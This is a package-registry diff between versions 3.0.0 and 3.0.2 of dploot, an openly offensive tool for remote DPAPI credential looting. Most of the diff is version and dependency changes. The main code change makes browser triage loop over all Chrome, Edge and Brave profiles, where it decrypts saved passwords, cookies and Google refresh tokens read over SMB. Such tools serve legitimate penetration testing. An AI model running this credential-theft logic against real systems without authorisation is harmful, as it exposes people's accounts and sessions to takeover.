dploot 3.0.0__tar.gz → 3.0.2__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {dploot-3.0.0 → dploot-3.0.2}/PKG-INFO +6 -7
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/smb.py +1 -1
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/browser.py +124 -122
- {dploot-3.0.0 → dploot-3.0.2}/pyproject.toml +4 -4
- {dploot-3.0.0 → dploot-3.0.2}/LICENSE +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/README.md +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/__init__.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/__init__.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/backupkey.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/blob.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/browser.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/certificates.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/credentials.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinecertificates.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinecredentials.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinemasterkeys.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinetriage.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinevaults.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/masterkeys.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/mobaxterm.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/rdg.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/sccm.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/triage.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/vaults.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/wam.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/action/wifi.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/entry.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/__init__.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/crypto.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/dpapi.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/target.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/utils.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/wmi.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/__init__.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/backupkey.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/certificates.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/credentials.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/masterkeys.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/mobaxterm.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/rdg.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/sccm.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/vaults.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/wam.py +0 -0
- {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/wifi.py +0 -0
|
@@ -1,25 +1,24 @@
|
|
|
1
1
|
Metadata-Version: 2.1
|
|
2
2
|
Name: dploot
|
|
3
|
-
Version: 3.0.
|
|
3
|
+
Version: 3.0.2
|
|
4
4
|
Summary: DPAPI looting remotely in Python
|
|
5
5
|
Home-page: https://github.com/zblurx/dploot
|
|
6
6
|
License: MIT
|
|
7
7
|
Keywords: DPAPI,credentials,Windows
|
|
8
8
|
Author: zblurx
|
|
9
9
|
Author-email: seigneuret.thomas@protonmail.com
|
|
10
|
-
Requires-Python: >=3.
|
|
10
|
+
Requires-Python: >=3.10.0,<4.0.0
|
|
11
11
|
Classifier: Environment :: Console
|
|
12
12
|
Classifier: License :: OSI Approved :: MIT License
|
|
13
13
|
Classifier: Programming Language :: Python :: 3
|
|
14
|
-
Classifier: Programming Language :: Python :: 3.7
|
|
15
|
-
Classifier: Programming Language :: Python :: 3.8
|
|
16
|
-
Classifier: Programming Language :: Python :: 3.9
|
|
17
14
|
Classifier: Programming Language :: Python :: 3.10
|
|
18
15
|
Classifier: Programming Language :: Python :: 3.11
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
19
18
|
Classifier: Topic :: Security
|
|
20
19
|
Requires-Dist: cryptography (>=40.0.1)
|
|
21
|
-
Requires-Dist: impacket (>=0.
|
|
22
|
-
Requires-Dist: lxml (
|
|
20
|
+
Requires-Dist: impacket (>=0.12.0,<0.13.0)
|
|
21
|
+
Requires-Dist: lxml (>=5.0)
|
|
23
22
|
Requires-Dist: pyasn1 (>=0.4.8,<0.5.0)
|
|
24
23
|
Project-URL: Repository, https://github.com/zblurx/dploot
|
|
25
24
|
Description-Content-Type: text/markdown
|
|
@@ -334,7 +334,7 @@ class DPLootRemoteSMBConnection(DPLootSMBConnection):
|
|
|
334
334
|
return data
|
|
335
335
|
|
|
336
336
|
def perform_taskkill(self, process_name):
|
|
337
|
-
with tsts.LegacyAPI(self.smb_session, self.target.address) as legacy:
|
|
337
|
+
with tsts.LegacyAPI(self.smb_session, self.target.address, self.target.do_kerberos) as legacy:
|
|
338
338
|
handle = legacy.hRpcWinStationOpenServer()
|
|
339
339
|
r = legacy.hRpcWinStationGetAllProcesses(handle)
|
|
340
340
|
if not len(r):
|
|
@@ -94,29 +94,29 @@ class BrowserTriage:
|
|
|
94
94
|
]
|
|
95
95
|
user_google_chrome_generic_login_path = {
|
|
96
96
|
"aesStateKeyPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
|
|
97
|
-
"loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\
|
|
98
|
-
"webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\
|
|
97
|
+
"loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Login Data",
|
|
98
|
+
"webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Web Data",
|
|
99
99
|
"cookiesDataPath": [
|
|
100
|
-
"Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\
|
|
101
|
-
"Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\
|
|
100
|
+
"Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Cookies",
|
|
101
|
+
"Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Network\\Cookies",
|
|
102
102
|
],
|
|
103
103
|
}
|
|
104
104
|
user_msedge_generic_login_path = {
|
|
105
105
|
"aesStateKeyPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State",
|
|
106
|
-
"loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\
|
|
107
|
-
"webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\
|
|
106
|
+
"loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Login Data",
|
|
107
|
+
"webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Web Data",
|
|
108
108
|
"cookiesDataPath": [
|
|
109
|
-
"Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\
|
|
110
|
-
"Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\
|
|
109
|
+
"Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Cookies",
|
|
110
|
+
"Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Network\\Cookies",
|
|
111
111
|
],
|
|
112
112
|
}
|
|
113
113
|
user_brave_generic_login_path = {
|
|
114
114
|
"aesStateKeyPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State",
|
|
115
|
-
"loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\
|
|
116
|
-
"webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\
|
|
115
|
+
"loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Login Data",
|
|
116
|
+
"webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Web Data",
|
|
117
117
|
"cookiesDataPath": [
|
|
118
|
-
"Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\
|
|
119
|
-
"Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\
|
|
118
|
+
"Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Cookies",
|
|
119
|
+
"Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Network\\Cookies",
|
|
120
120
|
],
|
|
121
121
|
}
|
|
122
122
|
user_generic_chrome_paths = {
|
|
@@ -186,6 +186,7 @@ class BrowserTriage:
|
|
|
186
186
|
) -> Tuple[List[LoginData], List[Cookie]]:
|
|
187
187
|
credentials = []
|
|
188
188
|
cookies = []
|
|
189
|
+
profiles = ["Default"]
|
|
189
190
|
for browser, paths in self.user_generic_chrome_paths.items():
|
|
190
191
|
aeskey = None
|
|
191
192
|
aesStateKey_bytes = self.conn.readFile(
|
|
@@ -199,6 +200,7 @@ class BrowserTriage:
|
|
|
199
200
|
f"Found {browser.upper()} AppData files for user {user}"
|
|
200
201
|
)
|
|
201
202
|
aesStateKey_json = json.loads(aesStateKey_bytes)
|
|
203
|
+
profiles = aesStateKey_json['profile']['profiles_order']
|
|
202
204
|
blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"])
|
|
203
205
|
if blob[:5] == b"DPAPI":
|
|
204
206
|
dpapi_blob = blob[5:]
|
|
@@ -209,120 +211,120 @@ class BrowserTriage:
|
|
|
209
211
|
aeskey = decrypt_blob(
|
|
210
212
|
blob_bytes=dpapi_blob, masterkey=masterkey
|
|
211
213
|
)
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
)
|
|
219
|
-
if (
|
|
220
|
-
aeskey is not None
|
|
221
|
-
and loginData_bytes is not None
|
|
222
|
-
and len(loginData_bytes) > 0
|
|
223
|
-
):
|
|
224
|
-
fh = tempfile.NamedTemporaryFile()
|
|
225
|
-
fh.write(loginData_bytes)
|
|
226
|
-
fh.seek(0)
|
|
227
|
-
db = sqlite3.connect(fh.name)
|
|
228
|
-
cursor = db.cursor()
|
|
229
|
-
query = cursor.execute(
|
|
230
|
-
"SELECT action_url, username_value, password_value FROM logins"
|
|
214
|
+
for profile in profiles:
|
|
215
|
+
loginData_bytes = self.conn.readFile(
|
|
216
|
+
shareName=self.share,
|
|
217
|
+
path=paths["loginDataPath"] % (user,profile),
|
|
218
|
+
bypass_shared_violation=bypass_shared_violation,
|
|
219
|
+
looted_files=self.looted_files
|
|
231
220
|
)
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
if self.per_secret_callback is not None:
|
|
245
|
-
self.per_secret_callback(login_data_decrypted)
|
|
246
|
-
fh.close()
|
|
247
|
-
if gather_cookies:
|
|
248
|
-
for cookiepath in paths["cookiesDataPath"]:
|
|
249
|
-
cookiesData_bytes = self.conn.readFile(
|
|
250
|
-
shareName=self.share,
|
|
251
|
-
path=cookiepath % user,
|
|
252
|
-
bypass_shared_violation=bypass_shared_violation,
|
|
253
|
-
looted_files=self.looted_files
|
|
221
|
+
if (
|
|
222
|
+
aeskey is not None
|
|
223
|
+
and loginData_bytes is not None
|
|
224
|
+
and len(loginData_bytes) > 0
|
|
225
|
+
):
|
|
226
|
+
fh = tempfile.NamedTemporaryFile()
|
|
227
|
+
fh.write(loginData_bytes)
|
|
228
|
+
fh.seek(0)
|
|
229
|
+
db = sqlite3.connect(fh.name)
|
|
230
|
+
cursor = db.cursor()
|
|
231
|
+
query = cursor.execute(
|
|
232
|
+
"SELECT action_url, username_value, password_value FROM logins"
|
|
254
233
|
)
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
234
|
+
lines = query.fetchall()
|
|
235
|
+
if len(lines) > 0:
|
|
236
|
+
for url, username, encrypted_password in lines:
|
|
237
|
+
password = decrypt_chrome_password(encrypted_password, aeskey)
|
|
238
|
+
login_data_decrypted = LoginData(
|
|
239
|
+
winuser=user,
|
|
240
|
+
browser=browser,
|
|
241
|
+
url=url,
|
|
242
|
+
username=username,
|
|
243
|
+
password=password,
|
|
244
|
+
)
|
|
245
|
+
credentials.append(login_data_decrypted)
|
|
246
|
+
if self.per_secret_callback is not None:
|
|
247
|
+
self.per_secret_callback(login_data_decrypted)
|
|
248
|
+
fh.close()
|
|
249
|
+
if gather_cookies:
|
|
250
|
+
for cookiepath in paths["cookiesDataPath"]:
|
|
251
|
+
cookiesData_bytes = self.conn.readFile(
|
|
252
|
+
shareName=self.share,
|
|
253
|
+
path=cookiepath % (user,profile),
|
|
254
|
+
bypass_shared_violation=bypass_shared_violation,
|
|
255
|
+
looted_files=self.looted_files
|
|
267
256
|
)
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
host
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
257
|
+
if (
|
|
258
|
+
aeskey is not None
|
|
259
|
+
and cookiesData_bytes is not None
|
|
260
|
+
and len(cookiesData_bytes) > 0
|
|
261
|
+
):
|
|
262
|
+
fh = tempfile.NamedTemporaryFile()
|
|
263
|
+
fh.write(cookiesData_bytes)
|
|
264
|
+
fh.seek(0)
|
|
265
|
+
db = sqlite3.connect(fh.name)
|
|
266
|
+
cursor = db.cursor()
|
|
267
|
+
query = cursor.execute(
|
|
268
|
+
"SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies"
|
|
269
|
+
)
|
|
270
|
+
lines = query.fetchall()
|
|
271
|
+
if len(lines) > 0:
|
|
272
|
+
for (
|
|
273
|
+
creation_utc,
|
|
274
|
+
host,
|
|
275
|
+
name,
|
|
276
|
+
path,
|
|
277
|
+
expires_utc,
|
|
278
|
+
last_access_utc,
|
|
279
|
+
encrypted_cookie,
|
|
280
|
+
) in lines:
|
|
281
|
+
decrypted_cookie_value = decrypt_chrome_password(
|
|
282
|
+
encrypted_cookie, aeskey
|
|
283
|
+
)
|
|
284
|
+
cookie = Cookie(
|
|
285
|
+
winuser=user,
|
|
286
|
+
browser=browser,
|
|
287
|
+
host=host,
|
|
288
|
+
path=path,
|
|
289
|
+
cookie_name=name,
|
|
290
|
+
cookie_value=decrypted_cookie_value,
|
|
291
|
+
creation_utc=creation_utc,
|
|
292
|
+
expires_utc=expires_utc,
|
|
293
|
+
last_access_utc=last_access_utc,
|
|
294
|
+
)
|
|
295
|
+
cookies.append(cookie)
|
|
296
|
+
if self.per_secret_callback is not None:
|
|
297
|
+
self.per_secret_callback(cookie)
|
|
298
|
+
fh.close()
|
|
299
|
+
webData_bytes = self.conn.readFile(
|
|
300
|
+
shareName=self.share,
|
|
301
|
+
path=paths["webDataPath"] % (user,profile),
|
|
302
|
+
bypass_shared_violation=bypass_shared_violation,
|
|
303
|
+
looted_files=self.looted_files
|
|
315
304
|
)
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
305
|
+
if (
|
|
306
|
+
aeskey is not None
|
|
307
|
+
and webData_bytes is not None
|
|
308
|
+
and len(webData_bytes) > 0
|
|
309
|
+
):
|
|
310
|
+
fh = tempfile.NamedTemporaryFile()
|
|
311
|
+
fh.write(webData_bytes)
|
|
312
|
+
fh.seek(0)
|
|
313
|
+
db = sqlite3.connect(fh.name)
|
|
314
|
+
cursor = db.cursor()
|
|
315
|
+
query = cursor.execute(
|
|
316
|
+
"SELECT service, encrypted_token FROM token_service"
|
|
317
|
+
)
|
|
318
|
+
lines = query.fetchall()
|
|
319
|
+
if len(lines) > 0:
|
|
320
|
+
for service, encrypted_grt in lines:
|
|
321
|
+
token = decrypt_chrome_password(encrypted_grt, aeskey)
|
|
322
|
+
google_refresh_token = GoogleRefreshToken(
|
|
323
|
+
winuser=user, browser=browser, service=service, token=token
|
|
324
|
+
)
|
|
325
|
+
credentials.append(google_refresh_token)
|
|
326
|
+
if self.per_secret_callback is not None:
|
|
327
|
+
self.per_secret_callback(google_refresh_token)
|
|
326
328
|
return credentials, cookies
|
|
327
329
|
|
|
328
330
|
@property
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
[tool.poetry]
|
|
2
2
|
name = "dploot"
|
|
3
|
-
version = "3.0.
|
|
3
|
+
version = "3.0.2"
|
|
4
4
|
description = "DPAPI looting remotely in Python"
|
|
5
5
|
readme = "README.md"
|
|
6
6
|
homepage = "https://github.com/zblurx/dploot"
|
|
@@ -25,11 +25,11 @@ packages = [
|
|
|
25
25
|
dploot = "dploot.entry:main"
|
|
26
26
|
|
|
27
27
|
[tool.poetry.dependencies]
|
|
28
|
-
python = "^3.
|
|
29
|
-
impacket = "
|
|
28
|
+
python = "^3.10.0"
|
|
29
|
+
impacket = "^0.12.0"
|
|
30
30
|
cryptography = ">=40.0.1"
|
|
31
31
|
pyasn1 = "^0.4.8"
|
|
32
|
-
lxml = "
|
|
32
|
+
lxml = ">=5.0"
|
|
33
33
|
|
|
34
34
|
[tool.poetry.group.dev.dependencies]
|
|
35
35
|
ruff = "^0.5.3"
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|